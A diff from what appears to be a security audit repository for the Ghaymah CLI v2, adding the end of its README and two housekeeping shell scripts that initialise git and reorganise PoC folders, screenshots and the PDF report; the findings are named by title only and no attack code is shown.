+|:---|:---|:---|
+| `test-app-clean/` | Clean deployment with no malicious payloads — establishes a working baseline. | Baseline |
+| `test-app-final/` | Final validated Dockerfile confirming the minimal reproducible deployment. | Baseline |
+
+> **Note:** Findings 2 (OWASP A07) and 3 (T1539) target the **web platform** and were validated via browser-based testing and API calls, not via PoC apps.
+
+</details>
+
+---
+
+<br/>
+
+## 📊 Methodology
+
+<details>
+<summary><b>🔍 Testing Methodology & Frameworks</b></summary>
+
+<br/>
+
+| Framework | Application |
+|:---|:---|
+| **MITRE ATT&CK** | Technique mapping for CLI-side findings (T1552, T1539) |
+| **OWASP Top 10 (2021)** | Web platform assessment (A07: Identification & Authentication Failures) |
+| **OWASP ASVS v4.0** | Authentication & session management verification |
+| **CWE/CVSS** | Vulnerability classification & severity scoring |
+| **Manual Testing** | Custom PoC development, API fuzzing, Docker image inspection |
+
+### Tools Used
+- `gy-linux-amd64` — Ghaymah CLI v2 binary (target under test)
+- `docker` — Container runtime for image inspection & layer analysis
+- Browser DevTools — Session token inspection & API testing
+- Custom shell scripts — Automated RCE boundary testing
+
+</details>
+
+---
+
+<br/>
+
+## 📎 Full Report
+
+The comprehensive audit report with detailed technical analysis, risk ratings, and remediation roadmap is available as a PDF:
+
+<div align="center">
+
+📄 **[`Reports/Ghaymah_CLI_v2_Audit_Report.pdf`](./Reports/Ghaymah_CLI_v2_Audit_Report.pdf)**
+
+</div>
+
+---
+
+<br/>
+
+## ⚖️ Disclaimer
+
+> This security audit was conducted in a controlled testing environment with explicit authorization. All findings are reported responsibly to the platform maintainers. The PoC applications and scripts in this repository are provided for **educational and verification purposes only**. Unauthorized use of these techniques against systems you do not own or have permission to test is **illegal and unethical**.
+
+---
+
+<div align="center">
+
+<br/>
+
+<img src="https://img.shields.io/badge/Crafted_with-Precision_&_Purpose-0D1117?style=for-the-badge&logo=shield&logoColor=FF4444" />
+
+<br/><br/>
+
+**Ziad Mahmoud Ahmed Abdelgwad**
+*Cybersecurity Specialist*
+
+<br/>
+
+<a href="https://github.com/ZiadMahmoud2003"><img src="https://img.shields.io/badge/GitHub-ZiadMahmoud2003-181717?style=for-the-badge&logo=github&logoColor=white" /></a>
+&nbsp;
+<a href="https://app.gitpasha.com/Ziad_Abdelgwad"><img src="https://img.shields.io/badge/GitPasha-Ziad__Abdelgwad-181717?style=for-the-badge&logo=git&logoColor=white" /></a>
+
+<br/><br/>
+
+<sub>© 2026 — All rights reserved. Conducted under responsible disclosure principles.</sub>
+
+</div>
--- a/Reports/Ghaymah_CLI_v2_Audit_Report.pdf
+++ b/Reports/Ghaymah_CLI_v2_Audit_Report.pdf
--- a/git_init.sh
+++ b/git_init.sh
@@ -0,0 +1,81 @@
+#!/bin/sh
+# ============================================================================
+#  Ghaymah CLI v2 Audit — Git Initialization Script
+#  Author : Ziad Mahmoud Ahmed Abdelgwad
+#  Usage  : sh git_init.sh
+# ============================================================================
+
+set -eu
+WORKSPACE="/root/ghaymah-v2-test"
+cd "$WORKSPACE"
+
+echo ""
+echo "╔══════════════════════════════════════════════════════════════╗"
+echo "║   Ghaymah CLI v2 — Git Repository Initialization           ║"
+echo "╚══════════════════════════════════════════════════════════════╝"
+echo ""
+
+# ── Step 1: Initialize the repository ────────────────────────────────────────
+echo "[1/4] Initializing Git repository..."
+git init
+echo "      ✔  Git repository initialized"
+
+# ── Step 2: Configure Git identity (adjust as needed) ────────────────────────
+echo ""
+echo "[2/4] Configuring Git identity..."
+git config user.name "Ziad Mahmoud Ahmed Abdelgwad"
+git config user.email "your-email@example.com"
+echo "      ✔  Git user configured"
+echo "      ⚠  Update user.email if needed: git config user.email \"you@example.com\""
+
+# ── Step 3: Stage all files ──────────────────────────────────────────────────
+echo ""
+echo "[3/4] Staging files..."
+git add -A
+echo "      ✔  All files staged"
+echo ""
+echo "      Files staged (excluding .gitignore patterns):"
+git status --short
+
+# ── Step 4: Initial commit ───────────────────────────────────────────────────
+echo ""
+echo "[4/4] Creating initial commit..."
+git commit -m "🛡️ feat: Ghaymah CLI v2 — Security & QA Audit Repository
+
+Comprehensive security audit of the Ghaymah CLI v2 and web platform.
+
+Findings:
+  - [CRITICAL] T1552: Dockerfile & .env Credential Leakage
+  - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change
+  - [HIGH]     T1539: Session Token Revocation Bypass
+  - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang)
+
+Includes:
+  - 8 Proof-of-Concept applications (PoC_Apps/)
+  - Visual evidence & screenshots (Assets/Screenshots/)
+  - Full PDF audit report (Reports/)
+  - Mermaid.js attack flow diagrams in README
+
+Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist"
+
+echo ""
+echo "      ✔  Initial commit created"
+
+# ── Post-init instructions ───────────────────────────────────────────────────
+echo ""
+echo "╔══════════════════════════════════════════════════════════════╗"
+echo "║   ✅  Repository initialized successfully!                 ║"
+echo "╚══════════════════════════════════════════════════════════════╝"
+echo ""
+echo "  Next steps — Add your remote and push:"
+echo ""
+echo "    git remote add origin https://github.com/gitpasha/ghaymah-v2-test.git"
+echo "    git branch -M main"
+echo "    git push -u origin main"
+echo ""
+echo "  Or if using SSH:"
+echo ""
+echo "    git remote add origin git@github.com:gitpasha/ghaymah-v2-test.git"
+echo "    git branch -M main"
+echo "    git push -u origin main"
+echo ""
--- a/organize.sh
+++ b/organize.sh
@@ -0,0 +1,161 @@
+#!/bin/bash
+# ============================================================================
+#  Ghaymah CLI v2 — Audit Workspace Organizer
+#  Author : Ziad Mahmoud Ahmed Abdelgwad
+#  Date   : 2026-08-19
+#  Purpose: Restructure the raw audit workspace into a clean, professional
+#           directory layout suitable for version control and publication.
+# ============================================================================
+
+set -euo pipefail
+WORKSPACE="/root/ghaymah-v2-test"
+cd "$WORKSPACE"
+
+echo ""
+echo "╔══════════════════════════════════════════════════════════════╗"
+echo "║   Ghaymah CLI v2 — Workspace Organizer                     ║"
+echo "╚══════════════════════════════════════════════════════════════╝"
+echo ""
+
+# ── Step 1: Create the target directory structure ────────────────────────────
+echo "[1/5] Creating directory structure..."
+mkdir -p PoC_Apps
+mkdir -p Assets/Screenshots
+mkdir -p Reports
+echo "      ✔  PoC_Apps/"
+echo "      ✔  Assets/Screenshots/"
+echo "      ✔  Reports/"
+
+# ── Step 2: Move all PoC application folders into PoC_Apps ───────────────────
+echo ""
+echo "[2/5] Moving PoC application folders → PoC_Apps/"
+
+for dir in test-app test-app-2 test-app-3 test-app-5 test-app-clean test-app-final; do
+    if [ -d "$dir" ]; then
+        mv "$dir" PoC_Apps/
+        echo "      ✔  $dir → PoC_Apps/$dir"
+    else
+        echo "      ⚠  $dir not found, skipping."
+    fi
+done
+
+for dir in broken-docker-test invalid-docker-test; do
+    if [ -d "$dir" ]; then
+        mv "$dir" PoC_Apps/
+        echo "      ✔  $dir → PoC_Apps/$dir"
+    else
+        echo "      ⚠  $dir not found, skipping."
+    fi
+done
+
+# ── Step 3: Migrate screenshots ─────────────────────────────────────────────
+echo ""
+echo "[3/5] Migrating screenshots → Assets/Screenshots/"
+
+if [ -d "screenshoots" ]; then
+    # Copy contents into the properly-named directory
+    cp -r screenshoots/* Assets/Screenshots/ 2>/dev/null || true
+    # Remove the old misspelled directory
+    rm -rf screenshoots
+    echo "      ✔  screenshoots/* → Assets/Screenshots/"
+    echo "      ✔  Removed old 'screenshoots' directory"
+else
+    echo "      ⚠  screenshoots/ not found, skipping."
+fi
+
+# Rename screenshot files with cleaner names (spaces → underscores)
+cd Assets/Screenshots
+for f in *; do
+    clean_name=$(echo "$f" | tr ' ' '_')
+    if [ "$f" != "$clean_name" ]; then
+        mv "$f" "$clean_name"
+        echo "      ✔  Renamed: $f → $clean_name"
+    fi
+done
+cd "$WORKSPACE"
+
+# ── Step 4: Move the audit report ───────────────────────────────────────────
+echo ""
+echo "[4/5] Moving audit report → Reports/"
+
+if [ -f "Ghaymah_CLI_v2_Audit_Report.pdf" ]; then
+    mv Ghaymah_CLI_v2_Audit_Report.pdf Reports/
+    echo "      ✔  Ghaymah_CLI_v2_Audit_Report.pdf → Reports/"
+fi
+
+# Clean up Zone.Identifier files (Windows artifact)
+find . -name "*.Zone.Identifier" -delete 2>/dev/null || true
+echo "      ✔  Cleaned up .Zone.Identifier files"
+
+# ── Step 5: Generate .gitignore ──────────────────────────────────────────────
+echo ""
+echo "[5/5] Generating .gitignore..."
+
+cat > .gitignore << 'GITIGNORE'
+# ============================================================================
+#  Ghaymah CLI v2 Audit — .gitignore
+# ============================================================================
+
+# ── CLI Binary (large / proprietary) ────────────────────────────────────────
+gy-linux-amd64
+
+# ── Windows Zone.Identifier metadata ────────────────────────────────────────
+*.Zone.Identifier
+*:Zone.Identifier
+
+# ── Sensitive environment files ─────────────────────────────────────────────
+.env
+.env.*
+!.env.example
+
+# ── OS-generated files ──────────────────────────────────────────────────────
+.DS_Store
+Thumbs.db
+Desktop.ini
+
+# ── IDE / Editor files ──────────────────────────────────────────────────────
+.vscode/
+.idea/
+*.swp
+*.swo
+*~
+
+# ── Node / build artifacts ──────────────────────────────────────────────────
+node_modules/
+dist/
+build/
+*.log
+GITIGNORE
+
+echo "      ✔  .gitignore created"
+
+# ── Summary ──────────────────────────────────────────────────────────────────
+echo ""
+echo "╔══════════════════════════════════════════════════════════════╗"
+echo "║   ✅  Workspace organization complete!                     ║"
+echo "╚══════════════════════════════════════════════════════════════╝"
+echo ""
+echo "Final structure:"
+echo ""
+echo "  ghaymah-v2-test/"
+echo "  ├── Assets/"
+echo "  │   └── Screenshots/"
+echo "  │       ├── docker.png"
+echo "  │       ├── env.png"
+echo "  │       ├── logs.png"
+echo "  │       └── Screenshot_*.png"
+echo "  ├── PoC_Apps/"
+echo "  │   ├── test-app/"
+echo "  │   ├── test-app-2/"
+echo "  │   ├── test-app-3/"
+echo "  │   ├── test-app-5/"
+echo "  │   ├── test-app-clean/"
+echo "  │   ├── test-app-final/"
+echo "  │   ├── broken-docker-test/"
+echo "  │   └── invalid-docker-test/"
+echo "  ├── Reports/"
+echo "  │   └── Ghaymah_CLI_v2_Audit_Report.pdf"
+echo "  ├── .gitignore"
+echo "  ├── organize.sh"
+echo "  └── README.md"
+echo ""